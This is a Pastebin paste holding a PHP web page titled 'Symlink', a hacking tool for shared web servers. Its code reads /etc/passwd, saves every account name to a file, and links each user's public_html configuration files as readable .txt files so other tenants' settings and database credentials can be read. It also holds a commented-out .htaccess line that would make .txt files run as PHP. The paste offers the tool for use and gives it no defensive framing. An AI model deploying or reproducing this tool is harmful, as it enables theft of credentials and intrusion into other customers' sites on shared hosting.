Advertisement
Guest User

Untitled

a guest
Feb 24th, 2020
107
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 3.22 KB | None | 0 0
  1. <html>
  2. <head>
  3. <title>Symlink</title>
  4. <link href='' type='image/x-icon' rel='shortcut icon' />
  5. <style>
  6. body{background-color:#111;color:#00ff00;}
  7. body,td,th{ font: 8pt Lucida,Tahoma;margin:0;vertical-align:top;color:#00ff00; }
  8. table.info{ color:#000;background-color:#222; }
  9. text-align: center;
  10. span,h1,a{ color: $color !important; }
  11. span{ font-weight: bolder; }
  12. h1{ border-left:7px solid $color;padding: 3px 5px;font: 14pt Verdana;background-color:#333;margin:0px; }
  13. div.content{ padding: 5px;margin-left:5px;background-color:#222; }
  14. a{ text-decoration:none; }
  15. a:hover{ text-decoration:underline; }
  16. .ml1{ border:1px solid #555;padding:5px;margin:0;overflow: auto; }
  17. .bigarea{ width:100%;height:300px; }
  18. #new,input,table,td,tr,#gg{border-style:solid;text-decoration:bold;}
  19. input,textarea,select{ margin:0;color:#999;background-color:#222;border:1px solid $color; font: 8pt Tahoma,"Tahoma"; }
  20. .style{
  21. font-size: 36px;
  22. text-align: center;
  23. color: #FFFFFF;
  24. background-color: #000000;
  25. font-family: Georgia, "Times New Roman", Times, serif;
  26. }
  27. #textarea {
  28. background-color: #000000;
  29. -moz-border-radius: 15px;
  30. -webkit-border-radius: 15px;
  31. border: 1px solid #FF0000;
  32. padding: 5px; color:#FF0000
  33. }
  34. </style>
  35. <div align="center" class="style">Symlink</div>
  36. <p>&nbsp;</p>
  37. <form action="" method="post">
  38. <p align="center">
  39. <font size="5">Configs Path:</font>
  40. <p>&nbsp;</p>
  41. <p align="center"><textarea id="textarea" name="configs" cols="100" rows="18" >index.php</textarea>
  42. <p>&nbsp;</p>
  43. <p align="center"><font size="5">Home Path:</font>
  44. <p>&nbsp;</p>
  45. <p align="center"><input name="home" type="text" size="30" value="/home"/><br>
  46. <p>&nbsp;</p>
  47. <p align="center"><font size="5">Files Path:</font>
  48. <p>&nbsp;</p>
  49. <p align="center"><input name="public" type="text" size="30" value="/public_html"/><br>
  50. <p>&nbsp;</p>
  51. <p align="center"><input name="symlink" size="80" value="Symlink" type="submit">
  52. <p>&nbsp;</p>
  53. </form>
  54. <?
  55.  
  56. set_time_limit(0); // no time limit
  57.  
  58. if(isset($_POST["symlink"])){
  59.  
  60. $configs = explode("\n",$_POST["configs"]);
  61.  
  62. $public = $_POST['public'];
  63.  
  64. $home = $_POST['home'];
  65.  
  66. $passwd = fopen("/etc/passwd", "rb"); // Read Passwd File
  67.  
  68. while (!feof($passwd) ) {
  69. $lines = fgets($passwd); // >> Get Contents Of The Passwd File
  70. $user = explode(':', $lines); // Explode The Passwd File By :
  71.  
  72. file_put_contents("users.txt" , $user[0]."\n", FILE_APPEND); // Write A New File Contain Users
  73.  
  74. // StarT Symlinking ...
  75.  
  76. foreach ($configs as $config){
  77.  
  78. //$home.'/'.$user[0].$public.'/'.$config >> Traget Config
  79. //$user[0].'_'.$config.'.txt' >> File Link Name
  80.  
  81. symlink($home.'/'.$user[0].$public.'/'.$config, $user[0].'_'.$config.'.txt');
  82.  
  83. // Symlink Function Requested Check Your Disabled Function
  84.  
  85. /*
  86. if (file_exists($user[0].'_'.$config.'.txt')){
  87. $link=$user[0].'_'.$config.'.txt';
  88. echo "<p align='center'><font color='red'>Symlink: $link</font></p>";
  89. }
  90. */
  91.  
  92. // Done Symilnking :p
  93. }
  94. }
  95. // Generate .htaccess Delete The // To Activate The Action :p
  96. // file_put_contents(".htaccess" , "AddHandler php-script .txt\nAddType text/html htm html php\n", FILE_APPEND);
  97.  
  98. // Oh FinallY :p !!
  99. print "<p align='center'><font color='#F6358A' size='4'>DonE !</p>";
  100. }
  101. ?>
  102.  
  103. </head>
  104. </html>
  105. <?php
  106. // EOF !!
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement